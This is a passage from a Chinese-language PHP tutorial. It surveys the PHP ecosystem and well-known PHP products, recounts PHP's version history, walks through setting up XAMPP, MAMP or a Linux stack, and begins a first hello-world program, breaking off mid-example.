  • 企业级与开源项目的应用。

一、PHP 框架:构建现代 Web 应用的核心工具

PHP 拥有丰富的框架生态,支持从轻量级 API 到复杂企业级系统的开发。

1. Laravel

  • 定位:全栈 Web 框架,强调开发效率与优雅的语法。
  • 特点
    • Eloquent ORM;
    • Blade 模板引擎;
    • Artisan 命令行工具;
    • 支持队列、事件、任务调度;
    • 集成 Vue.js、Inertia.js 前端框架;
  • 代表项目:Laravel Nova、Laravel Forge、Lumen。

2. Symfony

  • 定位:企业级框架,强调组件化与可复用性。
  • 特点
    • 高度模块化;
    • 强大的安全机制;
    • 与 Drupal、Magento 等系统深度集成;
    • 提供 Web Profiler、Form、Security 等组件;
  • 代表项目:eZ Platform、Sylius、API Platform。

3. CodeIgniter

  • 定位:轻量级、快速、适合小型项目或嵌入式系统。
  • 特点
    • 低学习曲线;
    • 高性能;
    • 适合 API 开发;
  • 适用场景:小型 Web 应用、API 服务。

4. Yii / Yii2

  • 定位:高性能、安全、适合大型项目。
  • 特点
    • ActiveRecord ORM;
    • 支持 RESTful API;
    • Gii 代码生成器;
  • 代表项目:Shopinabox、HumHub。

5. Lumen(Laravel 微框架)

  • 定位:专为构建高性能 API 而生。
  • 特点
    • 更快的启动速度;
    • 更少的依赖;
    • 支持缓存、队列等高级功能;
  • 适用场景:微服务、移动端后端、第三方接口服务。

二、包管理器与依赖管理:Composer

Composer 是 PHP 的官方依赖管理工具,类似于 Node.js 的 npm、Python 的 pip,是现代 PHP 开发生态的核心。

核心功能

  • 安装和管理第三方库;
  • 管理项目依赖版本;
  • 自动加载类(PSR-4);
  • 支持私有仓库与镜像源;

常用命令

composer init       # 初始化项目
composer install    # 安装依赖
composer update     # 更新依赖
composer require vendor/package  # 添加依赖

常见包源

  • Packagist:PHP 官方包仓库;
  • Private Packagist:企业私有包仓库;
  • GitHub / GitLab 集成:可作为自定义包源;

三、模板引擎:分离逻辑与视图

模板引擎用于将 PHP 逻辑与 HTML 视图分离,提升可维护性。

1. Blade(Laravel)

  • 特点

    • 简洁语法;
    • 支持继承、组件;
    • 与 Laravel 深度集成;
  • 示例

    @extends('layouts.app')
    @section('content')
        <h1>{{ $title }}</h1>
    @endsection
    

2. Twig(Symfony)

  • 特点

    • 安全沙箱机制;
    • 支持模板继承、宏;
    • 与 Symfony、Drupal 深度集成;
  • 示例

    {% extends "base.html" %}
    {% block content %}
        <h1>{{ title }}</h1>
    {% endblock %}
    

3. Smarty

  • 特点
    • 历史悠久;
    • 功能丰富;
    • 适合传统项目;
  • 适用场景:遗留项目、CMS 系统;

四、数据库与 ORM 工具

PHP 支持多种数据库系统,并拥有强大的 ORM 工具帮助开发者简化数据库操作。

1. Eloquent ORM(Laravel)

  • 特点

    • Active Record 模式;
    • 支持关系模型(hasOne, hasMany);
    • 查询构造器;
    • 迁移与种子;
  • 示例

    $user = User::find(1);
    $posts = $user->posts()->where('published', true)->get();
    

2. Doctrine ORM(Symfony)

  • 特点
    • 支持 DQL(Doctrine Query Language);
    • 支持实体映射(Annotations);
    • 事务管理;
  • 适用场景:企业级项目、复杂业务逻辑;

3. Medoo

  • 特点

    • 轻量级;
    • 易于上手;
    • 适合小型项目;
  • 示例

    $database = new Medoo\Medoo([
        'type' => 'mysql',
        'host' => 'localhost',
        'database' => 'test',
        'username' => 'root',
        'password' => ''
    ]);
    $data = $database->select("users", "*");
    

五、测试工具:PHPUnit

PHPUnit 是 PHP 社区最主流的单元测试框架,支持断言、Mock、Stub、覆盖率分析等功能。

核心功能

  • 单元测试;
  • 功能测试;
  • 数据提供器(DataProvider);
  • 测试覆盖率分析;
  • 集成 CI/CD;

示例测试

use PHPUnit\Framework\TestCase;

class CalculatorTest extends TestCase
{
    public function testAdd()
    {
        $calculator = new Calculator();
        $this->assertEquals(5, $calculator->add(2, 3));
    }
}

运行测试:

vendor/bin/phpunit

六、性能分析与调试工具

1. Xdebug

  • 功能

    • 远程调试;
    • 性能分析(cachegrind);
    • 错误追踪;
  • 配置

    zend_extension=xdebug.so
    xdebug.mode=debug
    xdebug.start_with_request=yes
    

2. Blackfire.io

  • 功能
    • 性能剖析;
    • 内存与 CPU 分析;
    • 优化建议;
  • 适用场景:生产环境性能调优;

3. Tideways / XHProf

  • 功能
    • 轻量级性能分析;
    • 支持分布式追踪;
  • 适用场景:轻量级性能分析;

七、缓存与消息队列系统

1. APCu

  • 用途:本地缓存变量;

  • 示例

    apcu_store('key', 'value', 3600);
    $value = apcu_fetch('key');
    

2. Redis / Memcached

  • 用途:分布式缓存、会话存储;

  • 示例

    $redis = new Redis();
    $redis->connect('127.0.0.1');
    $redis->set('user:1', json_encode($user));
    

3. RabbitMQ / Beanstalkd

  • 用途:异步任务处理、消息队列;

  • 示例

    $queue = new Pheanstalk\Pheanstalk('127.0.0.1');
    $queue->useTube('email')->put(json_encode($emailData));
    

八、PHP 社区与开源项目

PHP 拥有活跃的开源社区,众多项目推动了 PHP 生态的发展。

1. WordPress

2. Laravel

3. Symfony

4. Composer / Packagist

  • 简介:PHP 包管理生态核心;
  • 贡献:统一依赖管理、标准化;
  • 官网https://packagist.org

九、现代 PHP 的发展趋势

趋势说明
PHP 8+ 的普及使用 union types, attributes, JIT 等新特性
微服务与 API 架构使用 Lumen、Slim 构建高性能 API
前后端分离Laravel + Vue.js / Inertia.js / Livewire
容器化与云原生Docker + Kubernetes + PHP-FPM
AI 辅助编程GitHub Copilot、PHPStan 静态分析
性能优化OPcache、APCu、Redis、JIT 编译

十、总结:PHP 生态全景一览表

类别工具/框架用途
框架Laravel全栈 Web 开发
框架Symfony企业级开发
框架CodeIgniter轻量级项目
框架Lumen微服务、API
包管理Composer依赖管理
模板引擎BladeLaravel 视图
模板引擎TwigSymfony 视图
ORMEloquentLaravel 数据模型
ORMDoctrine企业级数据访问
测试PHPUnit单元测试
调试Xdebug调试与性能分析
缓存Redis分布式缓存
缓存APCu本地缓存
队列RabbitMQ异步任务处理
社区WordPress内容管理
社区Laravel开源生态
社区Symfony企业组件库

十一、结语

PHP 的生态系统已经从最初的 Web 脚本语言,演变为一个支持现代软件架构、微服务、API、云原生的完整生态体系。它不仅支撑了全球数百万个网站的运行,也成为企业级系统、电商平台、内容管理系统的重要开发语言。

对于开发者而言,掌握 PHP 的生态不仅意味着能够快速构建功能丰富的 Web 应用,还能参与到 Laravel、Symfony、WordPress 等开源项目的开发与维护中,具有很高的实用价值和就业前景。

使用 PHP 语言开发的产品

从内容管理系统到电商平台的广泛应用

PHP(Hypertext Preprocessor)是一种广泛用于 Web 开发的脚本语言,以其易学性、灵活性和强大的生态系统著称。自 1994 年由 Rasmus Lerdorf 创建以来,PHP 已经成为构建动态网站和后端服务的重要工具。

本文将介绍一些使用 PHP 编程语言实现的知名软件产品,涵盖内容管理系统(CMS)、电商平台、论坛系统、框架工具等多个领域,展示 PHP 在现代软件开发中的强大应用能力。


一、内容管理系统(CMS)

内容管理系统(CMS)是 PHP 最早和最成功的应用领域之一。许多知名的 CMS 都是使用 PHP 构建的,广泛用于企业官网、博客、门户网站等。

1. WordPress

  • 简介:全球最流行的 CMS,占据 CMS 市场份额的 60% 以上。
  • 特点
    • 插件丰富,可扩展性强;
    • 主题系统灵活;
    • 支持博客、电商、企业网站等多种用途;
    • 使用 PHP + MySQL 构建;
  • PHP 技术栈:面向对象编程、模板引擎(如 Timber)、REST API 支持等。

2. Joomla

  • 简介:功能强大的开源 CMS,适合中大型网站。
  • 特点
    • 多语言支持;
    • 用户权限管理;
    • 强大的扩展系统;
    • 模块化架构;
  • PHP 技术栈:MVC 架构、使用 Joomla Framework。

3. Drupal

  • 简介:企业级 CMS,适合复杂内容管理系统和 Web 应用。
  • 特点
    • 高度模块化;
    • 强大的 API 支持;
    • 安全性和可扩展性突出;
  • PHP 技术栈:Symfony 组件、面向对象、依赖注入等现代 PHP 特性。

二、电商平台

PHP 在电商领域也有广泛应用,许多知名的电商平台都是使用 PHP 构建的,支持商品管理、订单处理、支付集成等功能。

1. Magento

  • 简介:功能最强大的开源电商平台之一,适用于大型企业和品牌。
  • 特点
    • 多语言、多货币支持;
    • 丰富的插件生态;
    • 支持 B2B 和 B2C;
    • 高性能与可扩展性;
  • PHP 技术栈:基于 Zend Framework 和 Symfony 组件,采用 MVC 架构。

2. WooCommerce(基于 WordPress)

  • 简介:WordPress 的插件形式电商系统,适合中小型商家。
  • 特点
    • 易于集成;
    • 灵活的插件和主题;
    • 支持多种支付网关;
  • PHP 技术栈:WordPress 插件开发、PHP 钩子(hook)机制、数据库操作等。

3. PrestaShop

  • 简介:另一款流行的开源电商系统,适合中小企业。
  • 特点
    • 多语言、多店铺支持;
    • 强大的后台管理;
    • 丰富的模块和主题;
  • PHP 技术栈:MVC 架构、面向对象、使用 Symfony 组件。

三、论坛与社区系统

PHP 也广泛用于构建社区平台和在线论坛系统,支持用户注册、发帖、评论、私信等功能。

1. phpBB

  • 简介:历史悠久、功能完善的开源论坛系统。
  • 特点
    • 多语言支持;
    • 插件和主题系统;
    • 强大的用户权限管理;
  • PHP 技术栈:面向对象、模板引擎、数据库抽象层。

2. MyBB

  • 简介:轻量级但功能丰富的论坛系统。
  • 特点
    • 易于安装;
    • 可定制性强;
    • 社区活跃;
  • PHP 技术栈:基于 PHP 原生开发,使用 MySQL 存储数据。

3. Discuz!(中国)

  • 简介:中国最流行的论坛系统之一,广泛用于社区、门户、问答平台。
  • 特点
    • 强大的插件生态;
    • 支持社交功能(如好友、私信);
    • 中文社区支持良好;
  • PHP 技术栈:原生 PHP + MySQL,支持插件机制和模板系统。

四、PHP 框架与开发工具

PHP 拥有丰富的框架生态,许多企业级应用和产品都是基于这些框架构建的。

1. Laravel

  • 简介:现代 PHP 最流行的框架,强调优雅的语法和开发效率。
  • 特点
    • Eloquent ORM;
    • Blade 模板引擎;
    • Artisan 命令行工具;
    • 支持 RESTful API;
  • 代表产品
    • Laravel Nova(后台管理面板);
    • Laravel Forge / Envoyer(部署工具);
    • Lumen(微服务框架);

2. Symfony

  • 简介:企业级 PHP 框架,提供可复用的组件。
  • 特点
    • 高度模块化;
    • 与 Drupal、Magento 等系统深度集成;
    • 强大的安全机制;
  • 代表产品
    • eZ Platform(内容管理平台);
    • Sylius(现代电商系统);

3. CodeIgniter

  • 简介:轻量级、快速、适合小型项目或嵌入式系统。
  • 特点
    • 低学习曲线;
    • 高性能;
    • 适合 API 开发;
  • 代表产品
    • 各类中小型 Web 应用、API 服务;

五、办公与协作软件

PHP 也被用于开发企业内部管理系统、协作平台、文档管理等办公类软件。

1. Nextcloud

  • 简介:开源的云存储和协作平台,类似 Dropbox + Google Drive。
  • 特点
    • 文件同步与共享;
    • 日历、联系人、任务管理;
    • 插件系统丰富;
  • PHP 技术栈:原生 PHP + MySQL/PostgreSQL,使用自定义框架。

2. ownCloud

  • 简介:Nextcloud 的前身,功能类似,支持私有云部署。
  • PHP 技术栈:PHP + MySQL + 前端技术(Vue.js 等)。

3. Tiki Wiki CMS Groupware

  • 简介:多功能协作平台,集成了 Wiki、博客、论坛、项目管理等功能。
  • PHP 技术栈:PHP + Smarty 模板引擎 + MySQL。

六、API 服务与微服务架构

随着 API 经济的发展,PHP 也被用于构建 RESTful API、微服务等后端服务。

1. Slim Framework

  • 简介:轻量级 PHP 框架,专为构建 API 而设计。
  • 特点
    • 快速响应;
    • 路由系统灵活;
    • 支持中间件;
  • 适用场景
    • 微服务;
    • 移动端后端;
    • 第三方 API 接口;

2. Lumen(Laravel 微框架)

  • 简介:Laravel 的轻量级版本,专为高性能 API 而生。
  • 特点
    • 更快的启动速度;
    • 更少的依赖;
    • 支持缓存、队列等高级功能;
  • 代表产品
    • 内部 API 服务;
    • 第三方服务接口;
    • 自动化任务调度服务;

七、总结:PHP 实现的典型软件产品一览表

类别软件名称用途使用的 PHP 技术
CMSWordPress博客、企业网站PHP + MySQL + 插件机制
CMSJoomla中大型网站MVC、模块化架构
CMSDrupal企业内容管理Symfony 组件、模块化
电商Magento大型电商平台Zend Framework、Symfony
电商WooCommerceWordPress 电商插件WordPress 插件开发
电商PrestaShop中小电商MVC、面向对象
论坛phpBB在线社区面向对象、模板引擎
论坛MyBB轻量级论坛原生 PHP
论坛flarum轻量级论坛原生 PHP
办公Nextcloud云存储与协作PHP + MySQL
办公ownCloud私有云平台PHP + 前端框架
框架LaravelWeb 应用开发Eloquent ORM、Blade
框架Symfony企业级开发组件化、安全机制
APISlimRESTful API路由、中间件
APILumen微服务Laravel 组件、缓存机制

八、结语

PHP 虽然起步于简单的动态网页开发,但如今已广泛应用于内容管理、电子商务、论坛社区、办公协作、API 服务等多个领域。它不仅支撑了全球数百万个网站的运行,也成为许多大型软件产品背后的开发语言。

对于开发者而言,掌握 PHP 不仅可以快速构建功能丰富的 Web 应用,还能参与到像 WordPress、Magento、Drupal 等开源项目的开发与维护中,具有很高的实用价值和就业前景。

PHP 仍在不断发展,从传统 Web 开发到现代 API 服务,它依然是构建互联网产品的重要力量。

引用内容

本教程中的内容包含或者引用了以下内容:

如果侵犯到了您的权益,请提供相关章节内容以及证明并及时联系我们删除。

联系邮箱:tagecode#hotmail.com,请将 # 替换为 @

网站类

  1. PHP 官网

  2. PHP 官方文档

  3. w3schools

  4. RUNOOB

  5. PHP 之道-英文版

  6. PHP 之道-中文版

  7. 现代 PHP 之道

  8. PHP 程序设计基础教程

  9. w3cschool 教程

  10. 风雪之隅-鸟哥(PHP核心开发-亚洲唯一开发员)

AI 类

  1. DeepSeek

  2. 腾讯元宝

  3. 阿里通义

  4. 百度文心一言

  5. 问小白

电子书

  1. 电子书

第1章:PHP 介绍与环境搭建

欢迎来到 PHP 编程的世界!在本章中,我们将从零开始,逐步了解 PHP 是什么,为什么要学习 PHP,以及如何搭建 PHP 开发环境。

学习目标

完成本章学习后,你将能够:

  • 理解 PHP 的基本概念和特点
  • 了解 PHP 的应用场景和发展历史
  • 成功搭建本地 PHP 开发环境
  • 编写并运行第一个 PHP 程序
  • 选择合适的开发工具

让我们开始这段激动人心的学习之旅吧!


本章目录

在学习过程中,请确保每一步都实践操作,这样才能更好地掌握 PHP 开发的基础知识。

什么是PHP

PHP 的定义

PHP(PHP: Hypertext Preprocessor,PHP:超文本预处理器)是一种广泛使用的开源通用脚本语言,特别适合 Web 开发。PHP 代码可以嵌入到 HTML 中,使得创建动态网页变得非常简单。

PHP 的历史

  • 1995年:Rasmus Lerdorf 创建了 PHP,最初只是 Personal Home Page(个人主页)工具
  • 1997年:PHP 2 发布,开始具备数据库处理能力
  • 2000年:PHP 4 发布,性能大幅提升
  • 2004年:PHP 5 发布,引入了面向对象编程
  • 2015年:PHP 7 发布,性能提升 2-3 倍
  • 2020年:PHP 8 发布,引入了许多新特性

PHP 的特点

1. 开源免费

  • PHP 是完全免费的开源软件
  • 无需支付任何许可费用
  • 拥有活跃的社区支持

2. 跨平台

  • 可以在 Windows、Linux、Mac OS 等多种操作系统上运行
  • 支持多种 Web 服务器(Apache、Nginx、IIS 等)

3. 易于学习

  • 语法简单,类似于 C 语言和 Java
  • 入门门槛较低
  • 丰富的学习资源

4. 强大的数据库支持

  • 支持多种数据库:MySQL、PostgreSQL、Oracle、SQLite 等
  • 内置数据库连接函数

5. 丰富的函数库

  • 内置超过 1000 个内置函数
  • 涵盖文件操作、字符串处理、图像处理等各个方面

6. 性能优秀

  • 执行速度快
  • 内存占用少
  • 支持 OPCache 缓存加速

PHP 的应用场景

1. 网站开发

PHP 最主要的应用就是网站开发,包括:

  • 企业官网
  • 电商平台
  • 社交网站
  • 内容管理系统

2. Web 应用程序

  • 在线办公系统
  • 客户关系管理(CRM)系统
  • 项目管理工具

3. API 开发

  • RESTful API
  • 微服务架构
  • 移动应用后端

4. 命令行脚本

  • 数据处理脚本
  • 系统管理工具
  • 定时任务脚本

著名的 PHP 项目

内容管理系统

  • WordPress - 全球最流行的博客系统
  • Drupal - 企业级内容管理框架
  • Joomla - 功能强大的 CMS 平台

电商平台

  • Magento - 企业级电商解决方案
  • WooCommerce - WordPress 电商插件
  • OpenCart - 开源电商系统

框架

为什么选择学习 PHP?

1. 就业机会多

PHP 是 Web 开发中最流行的语言之一,拥有大量的就业机会。

2. 学习成本相对较低

  • 入门简单,语法容易掌握
  • 免费开源,无需购买软件
  • 丰富的免费学习资源

3. 社区活跃

  • 拥有庞大的开发者社区
  • 丰富的第三方库和工具
  • 及时的问题解答和技术支持

4. 实用性强

  • 可以快速开发出功能完整的网站
  • 适合从小型项目到大型企业应用
  • 与其他技术栈集成良好

PHP 与其他语言的比较

特性PHPPythonJavaJavaScript
学习难度简单中等较难中等
执行速度中等较快
Web开发优秀良好优秀优秀
数据处理良好优秀优秀中等
移动开发较少良好优秀一般
就业市场活跃活跃非常活跃非常活跃

小结

PHP 是一个功能强大、易于学习的服务器端脚本语言,特别适合 Web 开发。它的开源性质、跨平台特性和丰富的功能使其成为初学者学习编程的理想选择。

通过学习 PHP,你将能够:

  • 快速开发动态网站
  • 理解 Web 开发的核心概念
  • 为学习其他编程语言打下基础
  • 获得良好的就业机会

在接下来的章节中,我们将学习如何搭建 PHP 开发环境,并开始编写你的第一个 PHP 程序!

PHP 发展史

PHP 发展史:从个人工具到全球Web引擎


1. 诞生:个人主页工具(1994-1995)

  • 1994年:丹麦程序员Rasmus Lerdorf用C语言编写一组CGI脚本,用于管理个人简历访问记录,命名为 "Personal Home Page Tools" (PHP Tools)
  • 1995年6月:发布 PHP/FI (Form Interpreter),支持表单处理和数据库连接(如MySQL),首次开源。

2. PHP 3:转型为脚本语言(1997-1998)

  • 1997年:以色列开发者Zeev SuraskiAndi Gutmans重写底层解析器,与Rasmus合作发布PHP 3
    • 里程碑:正式更名为 "PHP: Hypertext Preprocessor"(递归缩写)。
    • 特性:模块化扩展设计、语法接近C/Perl,支持Windows等操作系统。
  • 1998年底:安装量超10%的Web服务器

3. PHP 4:Zend引擎时代(2000-2004)

  • 2000年5月:基于Zend Engine 1.0(由Zeev和Andi开发)的 PHP 4 发布。
    • 核心改进
      • 分离模板引擎与核心,提升性能
      • 支持Session、输出缓冲(Output Buffering)
      • 改进HTTP输入处理
    • 影响:成为主流Web开发语言,驱动Facebook早期版本。

4. PHP 5:面向对象革命(2004-2014)

  • 2004年7月PHP 5 搭载 Zend Engine 2.0
    • 重大革新
      • 完整的面向对象编程(类/对象/接口/抽象类)
      • PDO(统一数据库访问接口)
      • 异常处理(try/catch)
      • SimpleXML/JSON支持
    • 版本演进
      • PHP 5.3 (2009):命名空间(Namespace)、闭包(Closures)
      • PHP 5.4 (2012):Traits、内置Web服务器、短数组语法[]
      • PHP 5.6 (2014):可变参数(...$args)、幂运算(**

5. PHP 7:性能飞跃(2015-2019)

  • 2015年12月:跳过PHP 6直接发布 PHP 7(因Unicode计划失败)。
    • Zend Engine 3.0
      • 性能翻倍:比PHP 5.6快2倍,内存消耗减半
      • 类型系统强化:标量类型声明(int, string等)、返回类型声明
      • 太空船操作符(<=>)、null合并操作符(??
  • 后续版本
    • PHP 7.1 (2016):可空类型(?int)、void返回类型
    • PHP 7.4 (2019):箭头函数、预加载(Preloading)、属性类型声明

6. PHP 8:现代语言进化(2020至今)

  • 2020年11月PHP 8.0 发布:
    • JIT编译器:CPU密集型性能提升1.5-3倍
    • 联合类型int|string
    • 注解语法(Attributes)
    • match表达式、命名参数
  • 迭代升级
    • PHP 8.1 (2021):枚举(Enums)、只读属性(Readonly)
    • PHP 8.2 (2022):独立类型(null/true/false)、只读类
    • PHP 8.3 (2023):类常量显式类型、#[\Override]属性

关键转折点

时间版本革命性贡献
1995年PHP/FI首个开源版本,支持数据库交互
1997年PHP 3模块化架构,奠定语言形态
2000年PHP 4Zend引擎引入,性能与扩展性飞跃
2004年PHP 5面向对象编程普及
2015年PHP 7性能翻倍,类型系统现代化
2020年PHP 8JIT编译器,静态分析能力增强

生态驱动因素

  1. LAMP堆栈(Linux+Apache+MySQL+PHP):2000年代成为Web开发黄金组合。
  2. 开源CMS爆发:WordPress(2003)、Drupal(2001)、Joomla(2005)占据全球CMS市场超60%。
  3. Composer(2012):依赖管理标准化,促成Packagist超35万包生态。
  4. 框架繁荣:Symfony(2005)、Laravel(2011)、Yii(2008)推动企业级开发。

现状与未来

  • 全球占比:驱动76.8% 的服务器端动态网站(W3Techs 2023)。
  • 技术方向
    • 持续优化JIT性能(PHP 8.4+)
    • 增强类型系统(如PHP 9规划中的静态分析支持)
    • 异步编程扩展(Swoole/Fiber集成)
  • 社区:GitHub贡献者超1,500人,RFC提案机制推动透明演进。

PHP从简陋的CGI工具发展为支撑互联网的基石,其成功源于实用主义设计开发者友好性生态爆发力。尽管早期因松散类型和安全性遭诟病,但PHP 7/8的现代化革新已使其重回技术前沿。

环境搭建

要开始学习PHP编程,首先需要搭建一个合适的开发环境。本章将详细介绍如何在不同操作系统上安装和配置PHP开发环境。

开发环境概述

PHP开发环境通常包含以下几个组件:

1. PHP解释器

  • 负责执行PHP代码
  • 可以独立运行,也可以集成在Web服务器中

2. Web服务器

  • 处理HTTP请求
  • 将PHP代码的执行结果返回给浏览器
  • 常用选择:Apache、Nginx

3. 数据库(可选)

  • 存储和管理数据
  • 常用选择:MySQL、MariaDB、SQLite

4. 开发工具

  • 代码编辑器或IDE
  • 调试工具
  • 版本控制系统

安装方式选择

方式一:集成环境包(推荐初学者)

集成环境包将所有必需的组件打包在一起,一键安装,配置简单。

1. XAMPP(跨平台)

  • 适用系统:Windows、macOS、Linux
  • 包含组件:Apache、MySQL、PHP、Perl
  • 优点:完全免费,功能完整,易于使用
  • 下载地址:https://www.apachefriends.org/zh_cn/download.html

2. WampServer(仅Windows)

  • 适用系统:Windows
  • 包含组件:Apache、MySQL、PHP
  • 优点:中文界面,专为Windows优化
  • 下载地址:https://www.wampserver.com/

3. MAMP(仅macOS)

  • 适用系统:macOS
  • 包含组件:Apache、MySQL、PHP
  • 优点:界面友好,适合Mac用户
  • 下载地址:https://www.mamp.info/

4. LNMP/LAMP一键安装包(Linux)

  • 适用系统:Linux
  • 优点:自动化安装和配置
  • 常用脚本:宝塔面板、OneinStack

方式二:手动安装(推荐有一定基础的学习者)

手动安装可以更好地理解各个组件之间的关系,便于后续的定制和优化。

详细安装步骤

Windows系统 - XAMPP安装

步骤1:下载XAMPP

  1. 访问XAMPP官网:https://www.apachefriends.org/zh_cn/download.html
  2. 下载适合Windows的版本
  3. 选择PHP 8.0或更高版本

步骤2:安装XAMPP

1. 双击下载的安装包
2. 选择安装语言(建议选择中文)
3. 取消勾选不需要的组件(可保留Apache、MySQL、PHP)
4. 选择安装路径(建议使用默认路径 C:\xampp)
5. 等待安装完成

步骤3:启动服务

  1. 打开XAMPP控制面板
  2. 点击Apache和MySQL的"Start"按钮
  3. 确保两个服务的状态显示为绿色

步骤4:测试安装

  1. 打开浏览器
  2. 访问 http://localhost
  3. 如果看到XAMPP欢迎页面,说明安装成功

macOS系统 - MAMP安装

步骤1:下载MAMP

  1. 访问MAMP官网:https://www.mamp.info/
  2. 下载MAMP(免费版本即可)
  3. 选择适合macOS的版本

步骤2:安装MAMP

1. 双击下载的DMG文件
2. 将MAMP文件夹拖拽到Applications文件夹
3. 等待复制完成

步骤3:配置MAMP

  1. 打开MAMP应用程序
  2. 点击"Preferences"
  3. 在"Ports"标签页中设置:
    • Apache Port: 80
    • MySQL Port: 3306
  4. 在"PHP"标签页中选择最新版本的PHP

步骤4:启动服务

  1. 点击"Start Servers"按钮
  2. 等待服务启动完成
  3. 浏览器会自动打开MAMP起始页

Linux系统 - 手动安装

Ubuntu/Debian系统

# 更新包管理器
sudo apt update

# 安装Apache
sudo apt install apache2

# 安装PHP
sudo apt install php libapache2-mod-php

# 安装MySQL
sudo apt install mysql-server

# 安装常用的PHP扩展
sudo apt install php-mysql php-curl php-gd php-xml php-mbstring

# 重启Apache服务
sudo systemctl restart apache2

CentOS/RHEL系统

# 安装EPEL仓库
sudo yum install epel-release

# 安装Remi仓库
sudo yum install http://rpms.remirepo.net/enterprise/remi-release-7.rpm

# 启用PHP 8.0仓库
sudo yum-config-manager --enable remi-php80

# 安装Apache
sudo yum install httpd

# 安装PHP
sudo yum install php php-mysql php-gd php-xml php-mbstring

# 安装MySQL
sudo yum install mysql-server

# 启动服务
sudo systemctl start httpd
sudo systemctl start mysqld
sudo systemctl enable httpd
sudo systemctl enable mysqld

开发工具安装

代码编辑器

1. Visual Studio Code(推荐)

  • 特点:免费、功能强大、插件丰富
  • 安装步骤
    1. 访问 https://code.visualstudio.com/
    2. 下载适合你系统的版本
    3. 安装并启动
    4. 安装PHP相关插件:
      • PHP Intelephense
      • PHP Debug
      • PHP DocBlocker

2. Sublime Text

  • 特点:轻量快速、界面简洁
  • 安装插件
    • Package Control
    • SublimeLinter
    • SublimeLinter-php

3. PhpStorm(专业IDE)

  • 特点:功能最全面、专为PHP开发设计
  • 费用:收费(学生可申请免费授权)
  • 官网:https://www.jetbrains.com/phpstorm/

浏览器开发工具

所有现代浏览器都内置了开发者工具:

  • Chrome/Edge:按F12或右键选择"检查"
  • Firefox:按F12或右键选择"检查元素"
  • Safari:开发菜单 > 显示网页检查器

配置验证

1. 创建测试文件

在网站根目录创建一个PHP文件:

Windows (XAMPP): C:\xampp\htdocs\test.php macOS (MAMP): /Applications/MAMP/htdocs/test.php Linux: /var/www/html/test.php

<?php
phpinfo();
?>

2. 访问测试文件

在浏览器中访问:

  • http://localhost/test.php

如果看到PHP信息页面,说明环境配置成功!

3. 检查PHP版本

创建版本检查文件 version.php

<?php
echo "PHP版本: " . phpversion();
echo "<br>";
echo "PHP安装路径: " . dirname(__FILE__);
?>

常见问题解决

1. Apache启动失败

问题:点击Start按钮后,Apache服务无法启动。

解决方案

  1. 检查端口80是否被占用
    # Windows
    netstat -ano | findstr :80
    
    # macOS/Linux
    sudo lsof -i :80
    
  2. 修改Apache端口:
    • 打开XAMPP控制面板
    • 点击Apache旁边的"Config"
    • 选择"httpd.conf"
    • 找到"Listen 80",改为其他端口如"Listen 8080"

2. PHP代码不执行,直接显示源码

可能原因

  • Apache没有正确加载PHP模块
  • PHP文件没有使用.php扩展名
  • Apache配置问题

解决方案

  1. 检查Apache配置文件中是否有PHP模块配置
  2. 确保文件扩展名是.php
  3. 重启Apache服务

3. 数据库连接问题

问题:无法连接到MySQL数据库。

解决方案

  1. 检查MySQL服务是否启动
  2. 验证用户名和密码是否正确
  3. 检查数据库是否存在
  4. 确认PHP的MySQL扩展是否安装

4. 权限问题(Linux/macOS)

问题:无法写入文件或创建目录。

解决方案

# 修改网站目录权限
sudo chown -R $USER:$USER /var/www/html
sudo chmod -R 755 /var/www/html

开发环境最佳实践

1. 项目组织

htdocs/
├── project1/
├── project2/
├── common/
└── sandbox/          # 测试目录

2. 虚拟主机配置

为不同项目配置不同的域名,便于管理。

3. 错误显示设置

在开发环境中启用所有错误显示:

<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
?>

4. 版本控制

使用Git管理代码版本:

# 初始化Git仓库
git init

# 创建.gitignore文件
echo "vendor/
node_modules/
*.log
.DS_Store" > .gitignore

下一步

环境搭建完成后,你已经准备好开始学习PHP编程了!下一章我们将编写第一个PHP程序,学习PHP的基本语法。

记住:

  • 遇到问题不要气馁,这是学习过程中的正常现象
  • 充分利用搜索引擎和开发者社区
  • 多练习,多动手,熟能生巧

小结

本章我们学习了:

  • PHP开发环境的组成
  • 不同平台的安装方法
  • 开发工具的选择和配置
  • 常见问题的解决方案
  • 开发环境的最佳实践

现在你的PHP开发环境已经准备就绪,让我们开始编写代码吧!

第一个PHP程序

欢迎来到PHP编程的世界!在本章中,你将创建你的第一个PHP程序,学习PHP的基本语法,并了解如何运行PHP代码。

什么是PHP程序?

PHP程序是一段以.php为扩展名的文本文件,其中包含PHP代码。当服务器接收到对PHP文件的请求时,它会先执行PHP代码,然后将结果发送给浏览器。

创建第一个PHP文件

步骤1:创建PHP文件

  1. 打开你的代码编辑器(如VS Code)
  2. 创建新文件
  3. 将文件保存为hello.php
  4. 确保文件保存在你的服务器目录中(如XAMPP的htdocs文件夹)

步骤2:编写基础PHP代码

<?php
    // 这是你的第一个PHP程序!
    echo "Hello, World!";
?>

PHP代码的基本结构

PHP标签

PHP代码必须包含在特殊的标签中:

<?php
    // PHP代码写在这里
?>

注意:

  • <?php 是开始标签
  • ?> 是结束标签
  • 如果文件只包含PHP代码,可以省略结束标签

最简单的PHP程序

<?php echo "Hello, PHP!"; ?>

输出内容到页面

PHP提供了几种向页面输出内容的方法:

1. echo 语句(最常用)

<?php
    echo "这是一个字符串";
    echo "另一个字符串";  // 会连续输出
    echo "<br>";         // 输出HTML标签
    echo "换行了";
?>

echo的特点:

  • 可以同时输出多个字符串(用逗号分隔)
  • 执行速度比print稍快
  • 没有返回值

2. print 语句

<?php
    print "使用print输出";
    print "另一个字符串";  // 也会连续输出
?>

print的特点:

  • 只能输出一个字符串
  • 返回值总是1
  • 执行速度比echo稍慢

3. echo vs print 的区别

<?php
    // echo - 可以输出多个字符串
    echo "Hello", " ", "World", "!";  // 正确

    // print - 只能输出一个字符串
    // print "Hello", " World";       // 错误!会导致语法错误
    print "Hello World!";             // 正确
?>

完整的"Hello World"示例

让我们创建一个完整的示例文件:

<?php
    // 设置字符编码,避免中文乱码
    header('Content-Type: text/html; charset=utf-8');
?>
<!DOCTYPE html>
<html>
<head>
    <title>我的第一个PHP程序</title>
    <meta charset="UTF-8">
</head>
<body>
    <h1>欢迎学习PHP!</h1>

    <?php
        // 输出欢迎信息
        echo "<p>Hello, World!</p>";
        echo "<p>这是我的第一个PHP程序!</p>";
        print "<p>使用print语句也可以输出内容。</p>";
    ?>

    <hr>

    <?php
        // 混合HTML和PHP
        $greeting = "你好";
